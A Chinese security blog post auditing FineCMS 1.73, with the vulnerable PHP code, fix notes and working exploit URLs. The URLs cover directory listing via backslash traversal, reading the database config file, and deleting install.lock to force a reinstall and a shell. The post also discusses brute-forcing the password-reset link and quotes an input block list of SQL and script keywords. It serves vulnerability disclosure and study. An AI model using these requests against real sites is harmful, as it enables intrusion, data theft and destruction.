您的位置 » 首页 » 代码审计,实用工具 » 代码审计:Finecms1.73代码审计总结缺陷打包和修复

代码审计:Finecms1.73代码审计总结缺陷打包和修复

发表于5年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年12月02日 | 文章热度:14,857 次 全屏阅读

显示不全请点击全屏阅读

FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案

 

本人看程序代码,只是为了学习,不断学习中… 

这是最新1.73版,比之前1.72版在安全方面改进很大,加了不少过滤,也修复了几个公布了的漏洞,不过貌似看更新记录上没说,哈哈。我也是第一次看这套程序,只是最近看到好几个文章爆的它的漏洞,俺也来插一脚。

 

作者:Seay

用到的工具:Seay PHP代码审计工具

下载地址:http://www.cnseay.com/archives/1115

 本文下载地址:Finecms1.73代码审计总结

目录:

一、前台(两处)+后台任意目录浏览+任意文件删除漏洞

二、后台任意文件读取漏洞 

三、前台任意文件删除漏洞

四、后台遍地鸡肋注入

 

五、对找回密码功能代码的看法 

 

先载入工具扫描一遍

 

 

先看看过滤函数:

1Core\\Model.php文件 

/**

 * 字符串转义函数

 * 

 * SQL语句指令安全过滤,用于字符转义

 * @access public

 * @param mixed $value 所要转义的字符或字符串,注:参数支持数组

 * @return string|string

 */

public static function quote_into($value) {

if (is_array($value)) {

foreach ($value as $key=>$string) {

$value[$key] = self::quote_into($string);

}

} else {

//当参数为字符串或字符时

if (is_string($value)) {

$value = ‘\” . addslashes($value) . ‘\”;

}

}

return $value;

}

 

 

2、  Extensions\\function.php文件

/**

 * 安全过滤函数

 * @param $string

 * @return string

 */

function safe_replace($string) {

$string = str_replace(‘%20’,”,$string);

$string = str_replace(‘%27’,”,$string);

$string = str_replace(‘%2527’,”,$string);

$string = str_replace(‘*’,”,$string);

$string = str_replace(‘”‘,'”‘,$string);

$string = str_replace(“‘”,”,$string);

$string = str_replace(‘”‘,”,$string);

$string = str_replace(‘;’,”,$string);

$string = str_replace(‘<‘,'<‘,$string);

$string = str_replace(‘>’,’>’,$string);

$string = str_replace(“{“,”,$string);

$string = str_replace(‘}’,”,$string);

return $string;

}

 

 

 

 

3、  config\attackcode.ini.php文件

 

/**

 * GETPOST非法字符过滤配置(防非法字符攻击)

 */

 

return array(

    /*

 * GET参数非法字符过滤

 */

 

    ‘get’  => array(

‘select ‘,

‘insert ‘,

‘\”,

‘/*’,

‘*’,

‘../’,

‘union ‘,

‘into ‘,

‘load_file(‘,

‘outfile ‘,

‘script’,

),

 

/*

 * POST值非法字符过滤

 */

 

‘post’ => array(

‘<script’,

‘<frame’,

‘<iframe’,

‘<style’,

),

 

 

4、 core\\Controller.php文件  可以看到 $_COOKIE没过滤

/**

 * 用于初始化本类的运行环境,或对基本变量进行赋值

 */

public function __construct() {

if (get_magic_quotes_runtime()) set_magic_quotes_runtime(0);

if (get_magic_quotes_gpc()) {

!isset($_COOKIE)  or $_COOKIE  = $this->strip_slashes($_COOKIE);

} else {

!isset($_POST)    or $_POST    = $this->add_slashes($_POST);

!isset($_GET)     or $_GET     = $this->add_slashes($_GET);

!isset($_SESSION) or $_SESSION = $this->add_slashes($_SESSION);

}

$this->view = View::getInstance();

}

 

过滤函数挺多的,就是过滤的不严谨,

 

一、前台(两处)+后台任意目录浏览+任意文件删除漏洞

我们看到config\attackcode.ini.php文件的GETPOST的过滤函数,很明显的,过滤了../没过滤\\这是返回上一级目录的,不过作者忘记了在windows下有时候斜杠\\和反斜杠/是一样的,

 

第一处:在前台有个会员图片附件和文件附件浏览,我们利用这里就可以任意目录浏览了。

 

Controllers\\member\\\ContentController.php  文件

 

/**

 * 附件管理

 */

public function attachmentAction() {

    $type = $this->get(‘type’);

$mdir = ‘uploadfiles/member/’ . $this->memberinfo[‘id’] . ‘/’; //会员附件目录

if (!file_exists($mdir)) mkdir($mdir);

$mdir = $type == 1 ? $mdir . ‘file/’ : $mdir . ‘image/’;

if (!file_exists($mdir)) mkdir($mdir);

$dir  = urldecode($this->get(‘dir’));

if (strpos($dir, ‘../’) !== false) $this->memberMsg(lang(‘m-con-20’), url(‘member/content/attachment’, array(‘type’=>$type)));

$dir  = substr($dir, 0, 1) == ‘/’ ? substr($dir, 1) : $dir;

        $data = file_list::get_file_list($mdir . $dir . ‘/’);

        $list = array();

        if ($data) {

            foreach ($data as $t) {

 

$dir可控

 

http://www.cnseay.com/index.php?s=member&c=content&a=attachment&dir=..\\..\\..\\..\\&type=0

 

 

 

第二处:

我们在前台发布的时候,点击附件,浏览,抓下包就可以看到GET地址

http://www.cnseay.com/index.php?c=attachment&a=album&dir=Li5cLi5cLi5cLw==&iframe=0&admin=0

Li5cLi5cLi5cLw==  Base64解密后为..\..\..\

 

3、后台任意目录浏览同理。

 

http://www.cnseay.com/index.php?s=admin&c=attachment&dir=XC4u&iframe=0

 

XC4u base64解密后是\..

  

4、后台任意文件删除

同道理,不说了

 

/**

 * 删除文件夹

 * 

 * @param string $file_dir 所要删除文件的路径

 * @return boolean

 */

public static function delete_dir($file_dir) {

if (!$file_dir) return false;

$parse_dir = self::parse_dir($file_dir);

$file_list = self::get_file_list($parse_dir);

foreach ($file_list as $file) {

if (is_dir($parse_dir . ‘/’ . $file)) {

self::delete_dir($parse_dir . ‘/’ . $file);

rmdir($parse_dir . ‘/’ . $file);

} else {

unlink($parse_dir . ‘/’ . $file);

}

}

return true;

}

 

 修复:过滤完整

二、后台任意文件读取漏洞:

同理,还是斜杠和反斜杠的问题,

 

Controllers\\admin\\ThemeController.php  文件

 

    public function editAction() {

        $dir  = base64_decode($this->get(‘dir’));

$dir  = substr($dir, -1) == DIRECTORY_SEPARATOR ? substr($dir, 0, -1) : $dir;

if (strpos($dir, ‘../’) !== false) $this->adminMsg(lang(‘m-con-20’));

        $name = $this->dir . $dir;

if (!is_file($name)) $this->adminMsg(lang(‘a-con-123’, array(‘1’=>$name)));

if ($this->isPostForm()) {

    $Pdir = $this->dir == dirname($name) . DIRECTORY_SEPARATOR ? ” : str_replace($this->dir, ”, dirname($name));

    file_put_contents($name, stripslashes($_POST[‘file_content’]), LOCK_EX);

$this->adminMsg(lang(‘success’), url(‘admin/theme/index’, array(‘dir’=>base64_encode($Pdir . DIRECTORY_SEPARATOR))), 3, 1, 1);

}

        $file = file_get_contents($name);

$this->view->assign(array(

    ‘name’   => str_replace($this->dir, ”, $name),

    ‘file’   => $file,

‘syntax’ => strtolower(trim(substr(strrchr($name, ‘.’), 1, 10))),

‘action’ => ‘edit’,

‘iswrite’=> is_writable($this->dir), 

));

$this->view->display(‘admin/theme_add’);

}

 

$dir可控

 

http://www.cnseay.com/index.php?s=admin&c=theme&a=edit&dir=XC4uXC4uXGNvbmZpZ1xkYXRhYmFzZS5pbmkucGhw

 

XC4uXDEudHh0 base64解密后是\..\..\config\database.ini.php

 

 

修复:过滤完整

三、前台任意文件删除漏洞

看工具的提示:

  

265  /**

266   * 删除附件

267   */

268  public function delattachmentAction() {

269      $type = $this->get(‘type’);

270  $mdir = ‘uploadfiles/member/’ . $this->memberinfo[‘id’] . ‘/’; //会员附件目录

271  if (!file_exists($mdir)) mkdir($mdir);   //可能存在畸形目录创建漏洞

272  $mdir = $type == 1 ? $mdir . ‘file/’ : $mdir . ‘image/’;

273  if (!file_exists($mdir)) mkdir($mdir);   //可能存在畸形目录创建漏洞

274  $dir  = urldecode($this->get(‘dir’));

275  $dir  = substr($dir, 0, 1) == ‘/’ ? substr($dir, 1) : $dir;

276  if (realpath($mdir . $dir) == false || strpos($dir, ‘../’) !== false) $this->memberMsg(lang(‘m-con-21’));

277  if (file_exists($mdir . $dir)) {

278      if (is_dir($mdir . $dir)) {

279      $this->delDir($mdir . $dir);

280  $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type)), 1);

281  } else {

282      unlink($mdir . $dir);   //可能存在任意文件删除漏洞

283  $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type, ‘dir’=>urlencode(dirname($dir)))), 1);

284  }

285  } else {

286      $this->memberMsg(lang(‘m-con-22’, array(‘1’=>$dir)));

287  }

288  }

 

 

很明显的,$dir我们可控,就是任意文件删除了,其实也是会员的一个删除附件的功能

http://www.cnseay.com/finecms/index.php?s=member&c=content&a=delattachment&dir=..%5C%5C..%5C%5C..%5C%5C..%5C%5Ccache..%5C%5C%2Finstall.lock&type=

 

删除安装锁文件,可重装程序,后台拿shell就很简单了

修复:过滤完整 

 

四、后台遍地鸡肋注入

后台注入很多很多,不过要在后台关闭 “禁止非法字符提交”的时候才能用,

可能作者做这么一个开关,是考虑到用户体验吧,只是说明有这么一个缺陷,没有什么价值。

 

修复:intval()一下,或者其他

 

五、对找回密码功能代码的看法

controllers\\member\\Common.php文件中有一个找回密码的函数。

 

86  /**

87   * 密码找回邮件通知

88   */

89  protected function passEmail($username, $email) {

90      if (empty($username) || empty($email))  return false;

91  $rand = md5(rand(1000, 9999)); //随机数

92  $link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ‘|’ . $rand . ‘|’ . md5($username))), 1);

93  $this->member->update(array(‘randcode’=>$rand), “username='” . $username . “‘”);   //可能存在SQL语句,请注意是否过滤

94      mail::set($this->site);

95  $content = $this->memberconfig[‘pass_tpl’] ? $this->memberconfig[‘pass_tpl’] : lang(‘m-com-6’, array(‘1’=>$username, ‘2’=>$link));

96  $content = str_replace(array(‘{username}’, ‘{link}’), array($username, $link), $content);

97  return mail::sendmail($email, lang(‘m-com-7’, array(‘1’=>$this->site[‘SITE_NAME’])), htmlspecialchars_decode($content));

98  }

 

 

它的功能就是给生成一个找回密码的链接发送的用户邮箱,同时修改用户randcode字段为生成的随机数的md5。

 

我们分析下找回密码链接:

$link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ‘|’ . $rand . ‘|’ . md5($username))), 1);

 

就是这句代码拼接的链接,

get_server_name() 获得网站域名,后面加上member/repass/find,然后再加上时间戳time()和1000到9999之间的一个随机数和用户名的md5 的Base64编码,可以看出,时间戳可碰撞,随机数可碰撞,用户名md5可知,那么我们写一个程序,两个线程同时提交不同用户找回密码的请求,那时间戳相差就很小很小了,现在我们能大概确定时间戳的范围,用户名MD5知道,现在我们写一个自动提交的程序,当然要能判断链接是否正确,记得前两天我写了一个,可以到我博客去下载,我们改下程序,加一个自动生成1000-9999之间的数,不断递增并MD5加密,拼接链接,然后自动访问生成的链接,当出现成功特征字符,就说明成功了。如此看来,这个找回密码的方法还是有一定的危险性,当然这里只是对这个方法来讨论下。

 

修复:找回密码链接最好类似 md5(username+password+other) 这种形式,个人感觉会好一点。

 

 

之前说的cooki没过滤,我们来看下设置cookie的地方,

cookie::set(‘member_id’, $member[‘id’], $time);

cookie::set(‘member_code’, substr(md5(SITE_MEMBER_COOKIE . $member[‘id’]), 5, 20), $time);

后面用到cookie的地方,比如

/**

 * 获取会员信息

 */

protected function getMember() {

    if (cookie::is_set(‘member_id’) && cookie::is_set(‘member_code’)) {

            $uid  = cookie::get(‘member_id’);

$code = cookie::get(‘member_code’);

    if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {

    $_memberinfo    = $this->member->find($uid);

$member_table   = $this->membermodel[$_memberinfo[‘modelid’]][‘tablename’];

if ($_memberinfo && $member_table) {

    $_member    = $this->model($member_table);

    $memberdata = $_member->find($uid);

if ($memberdata) {

    $_memberinfo      = array_merge($_memberinfo, $memberdata);

$this->memberedit = 1; //不需要完善会员资料

}

if ($this->memberconfig[‘uc_use’] == 1 && function_exists(‘uc_api_mysql’)) {

    $uc = uc_api_mysql(‘user’, ‘get_user’, array(‘username’=> $_memberinfo[‘username’]));

if ($uc != 0) $_memberinfo[‘uid’] = $uc[0];

}

return $_memberinfo;

}

}

        }

return false;

}

 

这个验证用的比较好。

 

不看了,大半夜的,先看到这,以后有时间再把这套程序看完,这个文章写的比较急,将就着看吧,这几天天天忙着准备工作。蛋疼啊

Tags:

Finecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1803/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)